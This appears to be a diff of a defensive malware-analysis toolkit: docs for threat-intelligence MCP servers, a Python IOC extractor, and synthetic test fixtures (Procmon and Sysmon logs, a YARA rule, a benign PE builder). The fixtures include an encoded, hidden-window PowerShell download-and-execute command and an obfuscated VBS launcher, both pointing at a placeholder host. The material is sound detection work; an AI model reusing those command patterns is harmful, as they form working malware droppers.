| **detection-engineer** | Validate IOCs against multiple feeds before writing rules — reduces false positives in Sigma/Suricata rules |
**Setup:**
```json
{
"mcpServers": {
"threatintel": {
"command": "npx",
"args": ["-y", "mcp-threatintel-server"],
"env": {
"OTX_API_KEY": "your-otx-key",
"ABUSEIPDB_API_KEY": "your-abuseipdb-key",
"GREYNOISE_API_KEY": "your-greynoise-key",
"ABUSECH_AUTH_KEY": "your-abusech-key"
}
}
}
}
```
Tools are dynamically enabled based on which API keys you provide — you don't need all of them.
---
### 4. MISP MCP Server
**What it does:** Integrates with your MISP (Malware Information Sharing Platform) instance for threat intelligence sharing and IOC management.
**GitHub:** [bornpresident/MISP-MCP-SERVER](https://github.com/bornpresident/MISP-MCP-SERVER)
**Tools provided:**
- Search by attribute type, tag, threat actor, or TLP classification
- Cross-platform threat search (Windows, macOS, Linux, Android, iOS, IoT)
- Submit new IOCs directly to your MISP instance
- Generate threat intelligence reports from MISP data
- MISP instance statistics
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-triage** | Search your organization's MISP for prior sightings of a hash, domain, or IP |
| **detection-engineer** | Push finalized IOCs directly to MISP for team-wide sharing |
| **malware-report-writer** | Pull existing threat intel context from MISP to enrich reports |
**Setup:** Requires a running MISP instance. See [GitHub README](https://github.com/bornpresident/MISP-MCP-SERVER) for configuration.
---
### 5. Shodan MCP Server
**What it does:** Search internet-connected devices, perform IP reconnaissance, DNS lookups, and CVE/CPE vulnerability intelligence.
**GitHub:** [BurtTheCoder/mcp-shodan](https://github.com/BurtTheCoder/mcp-shodan)
**Tools provided:**
- Search for internet-connected devices by query
- IP reconnaissance and geolocation
- DNS lookups and reverse DNS
- CVE/CPE vulnerability intelligence
- Host information and open ports
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-dynamic-analysis** | Investigate C2 server infrastructure — what else is running on that IP, what ports are open, what services are exposed |
| **detection-engineer** | Enrich network IOCs with infrastructure context for more targeted Suricata rules |
| **malware-report-writer** | Add C2 infrastructure details to the network indicators section of reports |
**Setup:**
```json
{
"mcpServers": {
"shodan": {
"command": "npx",
"args": ["-y", "@burtthecoder/mcp-shodan"],
"env": {
"SHODAN_API_KEY": "your-api-key"
}
}
}
}
```
**API key:** Free tier at [shodan.io](https://www.shodan.io/)
---
### 6. Volatility MCP Server (Memory Forensics)
**What it does:** Run Volatility 3 memory forensics plugins via natural language — process analysis, network forensics, and malware detection from memory dumps.
**GitHub:** [bornpresident/Volatility-MCP-Server](https://github.com/bornpresident/Volatility-MCP-Server)
**Tools provided:**
- Process analysis — running processes, parent-child relationships
- Network forensics — identify connections in memory dumps
- Malware detection — code injection, suspicious artifacts
- Plugin execution via natural language
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-dynamic-analysis** | Analyze memory dumps exported from your VM without needing to remember Volatility plugin syntax |
| **malware-report-writer** | Extract memory forensics findings directly for the technical details section |
**Setup:** Requires Volatility 3 installed locally. See [GitHub README](https://github.com/bornpresident/Volatility-MCP-Server) for configuration.
---
## Skill-to-MCP Mapping
Quick reference for which MCP servers help with which skills:
| Skill | VirusTotal | Threat.Zone | Threat Intel | MISP | Shodan | Volatility |
|-------|:----------:|:-----------:|:------------:|:----:|:------:|:----------:|
| **malware-triage** | ★ | ★ | ★ | ○ | | |
| **malware-dynamic-analysis** | ○ | ○ | ○ | | ○ | ★ |
| **specialized-file-analyzer** | ○ | ★ | | | | |
| **detection-engineer** | ○ | ○ | ★ | ★ | ○ | |
| **malware-report-writer** | ○ | | | ○ | ○ | ○ |
★ = high impact (eliminates manual steps) | ○ = useful (adds context)
## Recommended Starting Setup
If you're setting up from scratch, start with these two — they cover the most common manual steps:
1. **VirusTotal** — eliminates manual hash/URL/domain lookups during triage (free tier is sufficient for most analysis)
2. **Threat Intel (abuse.ch)** — adds MalwareBazaar and ThreatFox coverage with just the `ABUSECH_AUTH_KEY`
Add the others as your workflow demands them.

View File

@@ -0,0 +1,314 @@
#!/usr/bin/env python3
"""Extract IOCs (IPs, domains, URLs, emails, hashes, BTC, regkeys, paths) from
malware-analysis evidence text (Procmon CSV, tshark, strings, olevba, Sysmon
JSON, deobfuscated scripts, ...) and print them defanged.
Usage: ioc_extract.py <file> [<file>...] (or stdin when no args / '-')
"""
import argparse
import csv
import io
import json
import re
import sys
from collections import OrderedDict
TYPES = ["ipv4", "url", "domain", "email", "md5", "sha1", "sha256", "btc", "regkey", "winpath"]
FILE_EXT_TLDS = {
"exe", "dll", "txt", "dat", "log", "tmp", "ini", "py", "js", "vbs", "ps1",
"bat", "cmd", "lnk", "zip", "rar", "7z", "pdf", "doc", "docx", "xls",
"xlsx", "png", "jpg", "gif", "css", "html", "htm", "xml", "json", "cfg",
"sys", "drv", "ocx", "cpl", "scr", "pdb", "bin", "db", "sqlite", "config", "lock", "old", "bak",
}
ALLOWLIST = {
"microsoft.com", "windows.com", "google.com", "gstatic.com", "msftncsi.com",
"mozilla.org", "digicert.com", "verisign.com", "symantec.com", "symcb.com",
"symcd.com", "w3.org", "schemas.microsoft.com", "adobe.com", "apple.com",
}
RE = {
"url": re.compile(r"\b(?:https?|ftp|hxxps?|fxp)://[^\s\"'<>]+", re.I),
"email": re.compile(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,24}\b"),
"ipv4": re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b"),
"sha256": re.compile(r"\b[a-fA-F0-9]{64}\b"),
"sha1": re.compile(r"\b[a-fA-F0-9]{40}\b"),
"md5": re.compile(r"\b[a-fA-F0-9]{32}\b"),
"btc": re.compile(r"\b(?:[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{25,59})\b"),
"regkey": re.compile(
r"\b(?:HKEY_LOCAL_MACHINE|HKEY_CURRENT_USER|HKEY_CLASSES_ROOT|HKEY_USERS|"
r"HKEY_CURRENT_CONFIG|HKLM|HKCU|HKCR|HKU)\\[^\s\"',]+"
),
"winpath": re.compile(r"(?:(?<![A-Za-z0-9])[A-Za-z]:\\[^\s\"',]+|%[A-Za-z0-9_]+%[^\s\"',]*|\\\\[^\s\"',]+)"),
"domain": re.compile(r"\b(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?\.)+[A-Za-z]{2,24}\b"),
}
def is_private_ipv4(ip):
parts = [int(p) for p in ip.split(".")]
if any(p > 255 for p in parts):
return None # not a real IP
a, b = parts[0], parts[1]
if a == 10 or (a == 172 and 16 <= b <= 31) or (a == 192 and b == 168):
return "private-ip"
if a == 127:
return "loopback"
if a == 169 and b == 254:
return "link-local"
return ""
def defang(kind, value):
# Normalise first so already-defanged input (hxxp://a[.]b) is not double-bracketed.
value = refang(value)
if kind == "ipv4":
return value.replace(".", "[.]")
if kind in ("url", "domain", "email"):
v = re.sub(r"(?i)^https", "hxxps", value)
v = re.sub(r"(?i)^http", "hxxp", v)
v = re.sub(r"(?i)^ftp", "fxp", v)
v = v.replace(".", "[.]").replace("@", "[@]")
return v
return value # hashes, btc, regkey, winpath are not defanged
def refang(text):
text = re.sub(r"(?i)hxxps", "https", text)
text = re.sub(r"(?i)hxxp", "http", text)
text = re.sub(r"(?i)\bfxp://", "ftp://", text)
text = text.replace("[.]", ".").replace("(.)", ".").replace("[@]", "@")
return text
def is_extension_like(domain, preceding_char):
tld = domain.rsplit(".", 1)[-1].lower()
if tld != "com":
return tld in FILE_EXT_TLDS
return preceding_char == "\\" # looks like C:\...\payload.com
def extract(text, types, use_allowlist):
"""Yield (kind, raw_value, note) in first-seen order for one chunk of text."""
spans_to_blank = []
out = []
def want(kind):
return types is None or kind in types
# url / email first, then blank their spans so domain regex doesn't
# double-extract the hostname portion out of them.
for kind in ("url", "email"):
for m in RE[kind].finditer(text):
if want(kind):
out.append((kind, m.group(0), ""))
spans_to_blank.append(m.span())
if want("ipv4"):
for m in RE["ipv4"].finditer(text):
note = is_private_ipv4(m.group(0))
if note is None:
continue
out.append(("ipv4", m.group(0), note))
if want("btc"):
for m in RE["btc"].finditer(text):
out.append(("btc", m.group(0), ""))
for kind in ("sha256", "sha1", "md5"):
if want(kind):
for m in RE[kind].finditer(text):
out.append((kind, m.group(0), ""))
if want("regkey"):
for m in RE["regkey"].finditer(text):
out.append(("regkey", m.group(0), ""))
if want("winpath"):
for m in RE["winpath"].finditer(text):
out.append(("winpath", m.group(0), ""))
if want("domain"):
masked = text
for start, end in spans_to_blank:
masked = masked[:start] + (" " * (end - start)) + masked[end:]
for m in RE["domain"].finditer(masked):
domain = m.group(0)
preceding = masked[m.start() - 1] if m.start() > 0 else ""
if is_extension_like(domain, preceding):
continue
note = ""
if use_allowlist and domain.lower() in ALLOWLIST:
note = "allowlisted-skipped-not-shown"
out.append(("domain", domain, note))
continue
out.append(("domain", domain, note))
return out
def apply_winpath_filter(items, all_paths):
result = []
for kind, value, note in items:
if kind == "winpath":
low = value.lower()
if not all_paths and ("\\windows\\system32" in low or "\\windows\\winsxs" in low):
continue
result.append((kind, value, note))
return result
def detect_encoding(head):
if head[:2] == b"\xff\xfe":
return "utf-16-le"
if head[:2] == b"\xfe\xff":
return "utf-16-be"
return "utf-8"
def read_text(path):
"""Read a whole file/stream as text (used by --self-test only)."""
raw = sys.stdin.buffer.read() if path == "-" else open(path, "rb").read()
return raw.decode(detect_encoding(raw), errors="replace")
def iter_lines(path):
"""Yield decoded lines, streaming from disk so multi-GB evidence files
(Procmon CSV, Sysmon JSON) never have to fit in memory at once."""
if path == "-":
raw = sys.stdin.buffer.read()
yield from raw.decode(detect_encoding(raw), errors="replace").splitlines()
return
with open(path, "rb") as f:
enc = detect_encoding(f.read(2))
f.seek(0)
for line in io.TextIOWrapper(f, encoding=enc, errors="replace", newline=""):
yield line.rstrip("\r\n")
def collect(paths, args):
types = set(args.types.split(",")) if args.types else None
use_allowlist = not args.no_allowlist
counts = OrderedDict() # (kind, normalized_value) -> [display_value, count, note]
for path in paths:
for line in iter_lines(path):
if args.refang:
line = refang(line)
items = extract(line, types, use_allowlist)
items = apply_winpath_filter(items, args.all_paths)
for kind, value, note in items:
if note == "allowlisted-skipped-not-shown":
key = (kind, value.lower())
if key not in counts:
counts[key] = [value, 0, note]
counts[key][1] += 1
continue
norm = refang(value).lower() if kind in ("ipv4", "url", "domain", "email", "md5", "sha1", "sha256") else value
key = (kind, norm)
if key not in counts:
display = value if args.no_defang or args.refang else defang(kind, value)
counts[key] = [display, 0, note]
counts[key][1] += 1
return counts
def output(counts, fmt):
rows = [(k[0], v[0], v[1], v[2]) for k, v in counts.items()]
if fmt == "json":
print(json.dumps(
[{"type": t, "value": v, "count": c, "note": n} for t, v, c, n in rows],
indent=2,
))
elif fmt == "csv":
w = csv.writer(sys.stdout)
w.writerow(["type", "value", "count", "note"])
for t, v, c, n in rows:
w.writerow([t, v, c, n])
else:
by_type = OrderedDict()
for t, v, c, n in rows:
by_type.setdefault(t, []).append((v, c, n))
for t in by_type:
print(f"== {t} ({len(by_type[t])}) ==")
for v, c, n in by_type[t]:
suffix = f" [{n}]" if n else ""
print(f" {v} (x{c}){suffix}")
print()
def self_test():
sample = (
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
"Also seen evil.tk in the config, and payload.exe is not a domain.\n"
"Beacon to 10.0.0.5 and 8.8.8.8 and email attacker@evil.com\n"
"Hash: " + "a" * 64 + "\n"
"Key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\x\n"
"BTC 1BoatSLRHtKNngkdXEeobR76b53LETtpyT talks to microsoft.com too\n"
)
items = extract(sample, None, True)
items = apply_winpath_filter(items, False)
kinds = {(k, v) for k, v, n in items}
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"
live = refang("hxxps://bad-tld[.]tk/x")
assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
priv = [n for k, v, n in items if k == "ipv4" and v == "10.0.0.5"]
assert priv and priv[0] == "private-ip", "private ip note missing"
domains = [v for k, v, n in items if k == "domain"]
assert not any("payload" in d for d in domains), "filename wrongly kept as domain"
assert any("evil.tk" == d for d in domains), "evil.tk not kept"
assert any(k == "email" and v == "attacker@evil.com" for k, v in kinds), "email not found"
assert any(k == "sha256" for k, v in kinds), "sha256 not found"
assert any(k == "regkey" and v.startswith("HKCU\\") for k, v in kinds), "regkey not found"
assert any(k == "btc" for k, v in kinds), "btc not found"
ms_domains = [(v, n) for k, v, n in items if k == "domain" and "microsoft" in v.lower()]
assert ms_domains and ms_domains[0][1] == "allowlisted-skipped-not-shown", "allowlist not applied"
import tempfile
utf16 = b"\xff\xfe" + "192.168.1.1".encode("utf-16-le")
with tempfile.NamedTemporaryFile(suffix=".txt", delete=False) as f:
f.write(utf16)
tmp_path = f.name
text = read_text(tmp_path)
assert "192.168.1.1" in text, "utf-16 decode failed"
print("self-test: all checks passed")
def main():
ap = argparse.ArgumentParser(description="Extract and defang IOCs from evidence files")
ap.add_argument("files", nargs="*", default=["-"])
ap.add_argument("--format", choices=["text", "csv", "json"], default="text")
ap.add_argument("--no-defang", action="store_true")
ap.add_argument("--types", help="comma list restricting types, e.g. ipv4,domain,url")
ap.add_argument("--refang", action="store_true", help="input is defanged text; output live indicators")
ap.add_argument("--no-allowlist", action="store_true")
ap.add_argument("--all-paths", action="store_true", help="don't skip System32/WinSxS paths")
ap.add_argument("--self-test", action="store_true")
args = ap.parse_args()
if args.self_test:
self_test()
return
paths = args.files
for p in paths:
if p != "-":
try:
open(p, "rb").close()
except OSError as e:
print(f"ioc_extract.py: cannot read {p}: {e}", file=sys.stderr)
sys.exit(1)
counts = collect(paths, args)
output(counts, args.format)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,23 @@
#!/usr/bin/env python3
"""Extract fenced Sigma YAML blocks from a Markdown SKILL file to files.
A block counts as Sigma if it contains both 'detection:' and 'logsource:'.
Placeholder rules (id: xxxxxxxx...) are skipped so `sigma check` only sees
real, validatable content.
Usage: python3 extract_rules.py <SKILL.md> <out-prefix> # -> <prefix>1.yml, ...
"""
import re
import sys
md, prefix = sys.argv[1], sys.argv[2]
text = open(md, encoding="utf-8").read()
blocks = re.findall(r"```ya?ml\n(.*?)```", text, re.S)
n = 0
for b in blocks:
if "detection:" in b and "logsource:" in b:
if not re.search(r"id:\s*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", b):
continue # skip the structure-template block; keep only rules with a real UUID
n += 1
open(f"{prefix}{n}.yml", "w").write(b)
print(f"extracted {n} sigma rule(s)")

View File

@@ -0,0 +1,3 @@
Sep 5 10:00:02 10.0.0.15 update-cdn.example.test
Sep 5 10:01:06 10.0.0.15 update-cdn.example.test
Sep 5 10:00:10 10.0.0.15 clients2.google.com

View File

@@ -0,0 +1,2 @@
Sep 5 10:00:02 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)
Sep 5 10:01:06 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)

View File

@@ -0,0 +1,17 @@
"Time of Day","Process Name","PID","Operation","Path","Result","Detail"
"10:00:01.1","explorer.exe","1400","Process Create","C:\Users\Public\invoice_2024.exe","SUCCESS","PID: 4820, Command line: ""C:\Users\Public\invoice_2024.exe"" /install"
"10:00:01.2","invoice_2024.exe","4820","Process Start","","SUCCESS","Parent PID: 1400, Command line: ""C:\Users\Public\invoice_2024.exe"" /install, Current directory: C:\Users\Public\"
"10:00:01.3","invoice_2024.exe","4820","CreateFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Desired Access: Generic Write, Disposition: Create, OpenResult: Created"
"10:00:01.4","invoice_2024.exe","4820","WriteFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Offset: 0, Length: 51200"
"10:00:01.5","invoice_2024.exe","4820","RegCreateKey","HKCU\Software\Microsoft\Windows\CurrentVersion\Run","SUCCESS","Desired Access: All Access"
"10:00:01.6","invoice_2024.exe","4820","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","SUCCESS","Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:02.0","invoice_2024.exe","4820","Load Image","C:\Users\Bob\AppData\Roaming\hlp.dll","SUCCESS","Image Base: 0x10000000, Image Size: 0x14000"
"10:00:02.5","invoice_2024.exe","4820","TCP Connect","DESKTOP-TEST:49700 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:03.0","invoice_2024.exe","4820","Process Create","C:\Windows\System32\cmd.exe","SUCCESS","PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.1","cmd.exe","5102","Process Start","","SUCCESS","Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.2","cmd.exe","5102","Process Create","C:\Windows\System32\PING.EXE","SUCCESS","PID: 5140, Command line: ping -n 3 127.0.0.1"
"10:00:06.0","cmd.exe","5102","SetDispositionInformationFile","C:\Users\Public\invoice_2024.exe","SUCCESS","Delete: True"
"10:00:06.2","svc.exe","5300","Process Start","","SUCCESS","Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:06.5","svc.exe","5300","TCP Connect","DESKTOP-TEST:49712 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:10.0","chrome.exe","2100","WriteFile","C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1","SUCCESS","Offset: 0, Length: 4096"
"10:00:11.0","svchost.exe","900","RegQueryValue","HKLM\System\CurrentControlSet\Services\Tcpip\Parameters","SUCCESS","Type: REG_DWORD"
1 Time of Day Process Name PID Operation Path Result Detail
2 10:00:01.1 explorer.exe 1400 Process Create C:\Users\Public\invoice_2024.exe SUCCESS PID: 4820, Command line: "C:\Users\Public\invoice_2024.exe" /install
3 10:00:01.2 invoice_2024.exe 4820 Process Start SUCCESS Parent PID: 1400, Command line: "C:\Users\Public\invoice_2024.exe" /install, Current directory: C:\Users\Public\
4 10:00:01.3 invoice_2024.exe 4820 CreateFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Desired Access: Generic Write, Disposition: Create, OpenResult: Created
5 10:00:01.4 invoice_2024.exe 4820 WriteFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Offset: 0, Length: 51200
6 10:00:01.5 invoice_2024.exe 4820 RegCreateKey HKCU\Software\Microsoft\Windows\CurrentVersion\Run SUCCESS Desired Access: All Access
7 10:00:01.6 invoice_2024.exe 4820 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate SUCCESS Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe
8 10:00:02.0 invoice_2024.exe 4820 Load Image C:\Users\Bob\AppData\Roaming\hlp.dll SUCCESS Image Base: 0x10000000, Image Size: 0x14000
9 10:00:02.5 invoice_2024.exe 4820 TCP Connect DESKTOP-TEST:49700 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
10 10:00:03.0 invoice_2024.exe 4820 Process Create C:\Windows\System32\cmd.exe SUCCESS PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
11 10:00:03.1 cmd.exe 5102 Process Start SUCCESS Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
12 10:00:03.2 cmd.exe 5102 Process Create C:\Windows\System32\PING.EXE SUCCESS PID: 5140, Command line: ping -n 3 127.0.0.1
13 10:00:06.0 cmd.exe 5102 SetDispositionInformationFile C:\Users\Public\invoice_2024.exe SUCCESS Delete: True
14 10:00:06.2 svc.exe 5300 Process Start SUCCESS Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe
15 10:00:06.5 svc.exe 5300 TCP Connect DESKTOP-TEST:49712 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
16 10:00:10.0 chrome.exe 2100 WriteFile C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1 SUCCESS Offset: 0, Length: 4096
17 10:00:11.0 svchost.exe 900 RegQueryValue HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Type: REG_DWORD

View File

@@ -0,0 +1,7 @@
1757066406.0 203.0.113.5 443
1757066466.0 203.0.113.5 443
1757066526.0 203.0.113.5 443
1757066586.0 203.0.113.5 443
1757066646.0 203.0.113.5 443
1757066706.0 203.0.113.5 443
1757066411.0 142.250.0.1 443

View File

@@ -0,0 +1,87 @@
[
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:01.100\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nCommandLine: \"C:\\Users\\Public\\invoice_2024.exe\" /install\nHashes: SHA256=AF747150F9AFC0937A6B62755F9BD84CFB88726370F6007AC03F8F7504D38C4D,IMPHASH=DFCAEBD44FF7676285215E9D856415F3\nParentProcessId: 1400\nParentImage: C:\\Windows\\explorer.exe\nParentCommandLine: C:\\Windows\\explorer.exe"
},
{
"Id": 11,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "File created:\nUtcTime: 2026-09-05 10:00:01.300\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetFilename: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 13,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Registry value set:\nEventType: SetValue\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetObject: HKU\\S-1-5-21-1\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinUpdate\nDetails: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 7,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Image loaded:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nImageLoaded: C:\\Users\\Bob\\AppData\\Roaming\\hlp.dll\nSigned: false\nSignature: "
},
{
"Id": 8,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "CreateRemoteThread detected:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetProcessId: 1400\nTargetImage: C:\\Windows\\explorer.exe\nStartAddress: 0x000002A4C0000000"
},
{
"Id": 10,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Process accessed:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetImage: C:\\Windows\\explorer.exe\nGrantedAccess: 0x1F0FFF"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:03",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:03.000\nProcessId: 5102\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c ping -n 3 127.0.0.1 & del \"C:\\Users\\Public\\invoice_2024.exe\"\nParentProcessId: 4820\nParentImage: C:\\Users\\Public\\invoice_2024.exe"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "DNS query:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nQueryName: update-cdn.example.test\nQueryResults: 203.0.113.5"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:06.200\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nCommandLine: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nHashes: SHA256=1111111111111111111111111111111111111111111111111111111111111111\nParentProcessId: 700\nParentImage: C:\\Windows\\System32\\services.exe\nParentCommandLine: C:\\Windows\\System32\\services.exe"
},
{
"Id": 17,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Pipe Created:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nPipeName: \\testfixture"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:00:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:01:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:01:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:02:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:02:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:03:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:03:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:04:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:04:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:05:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:05:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:10",
"Message": "DNS query:\nProcessId: 2100\nImage: C:\\Program Files\\Google\\Chrome\\chrome.exe\nQueryName: clients2.google.com\nQueryResults: 142.250.0.1"
}
]

View File

@@ -0,0 +1 @@
Sep 5 10:00:02 203.0.113.5 443 update-cdn.example.test a0e9f5d64349fb13191bc781f81f42e1

View File

@@ -0,0 +1,3 @@
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbgAuAGUAeABhAG0AcABsAGUALgB0AGUAcwB0AC8AcwB0AGEAZwBlADIALgBwAHMAMQAiACkA
$u = "ht"+"tp://update-cdn.example.test/gate.php"
$b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")

View File

@@ -0,0 +1,5 @@
Dim c, u, r
c = Chr(99) & Chr(109) & Chr(100)
u = Replace("hXXtXXtXXp://update-cdn.example.test/p.exe","XX","")
r = StrReverse("exe.clac")
CreateObject("WScript.Shell").Run c & " /c " & r

View File

@@ -0,0 +1,15 @@
rule Test_Fixture_Invoice2024 {
meta:
description = "Detects the benign PE test fixture built by tests/make_pe.py"
author = "malware-analysis-skills test harness"
reference = "tests/make_pe.py"
note = "Fixture only — not a real malware signature"
strings:
$mz = { 4D 5A }
$c2 = "update-cdn.example.test/gate.php" ascii
$ua = "TestUA/1.0" ascii
$mtx = "Global\\TestFixtureMutex_9f2a" ascii
$tag = "BENIGN TEST FIXTURE" ascii
condition:
$mz at 0 and 3 of ($c2, $ua, $mtx, $tag)
}

View File

@@ -0,0 +1,135 @@
#!/usr/bin/env python3
"""
make_pe.py - build a small, valid, benign PE32 test fixture. Stdlib only.
The binary imports a handful of Windows APIs that triage heuristics care
about (injection, network, anti-debug, persistence) and embeds indicator
strings, then simply calls ExitProcess(0). It is deterministic (fixed
timestamp) so hashes are stable across runs.
Usage:
python3 make_pe.py out/invoice_2024.exe
"""
import struct
import sys
IMAGE_BASE = 0x400000
SEC_ALIGN, FILE_ALIGN = 0x1000, 0x200
TIMESTAMP = 1704067200 # 2024-01-01T00:00:00Z
IMPORTS = {
b"KERNEL32.dll": [b"ExitProcess", b"VirtualAllocEx", b"WriteProcessMemory", b"CreateRemoteThread",
b"OpenProcess", b"IsDebuggerPresent", b"GetTempPathA", b"CreateProcessA"],
b"WININET.dll": [b"InternetOpenA", b"InternetOpenUrlA", b"InternetReadFile"],
b"ADVAPI32.dll": [b"RegCreateKeyExA", b"RegSetValueExA"],
}
ASCII_STRINGS = [
b"http://update-cdn.example.test/gate.php",
b"Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)",
b"Global\\TestFixtureMutex_9f2a",
b"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
b"WinUpdate",
b"C:\\Users\\Public\\svc.exe",
b"203.0.113.5",
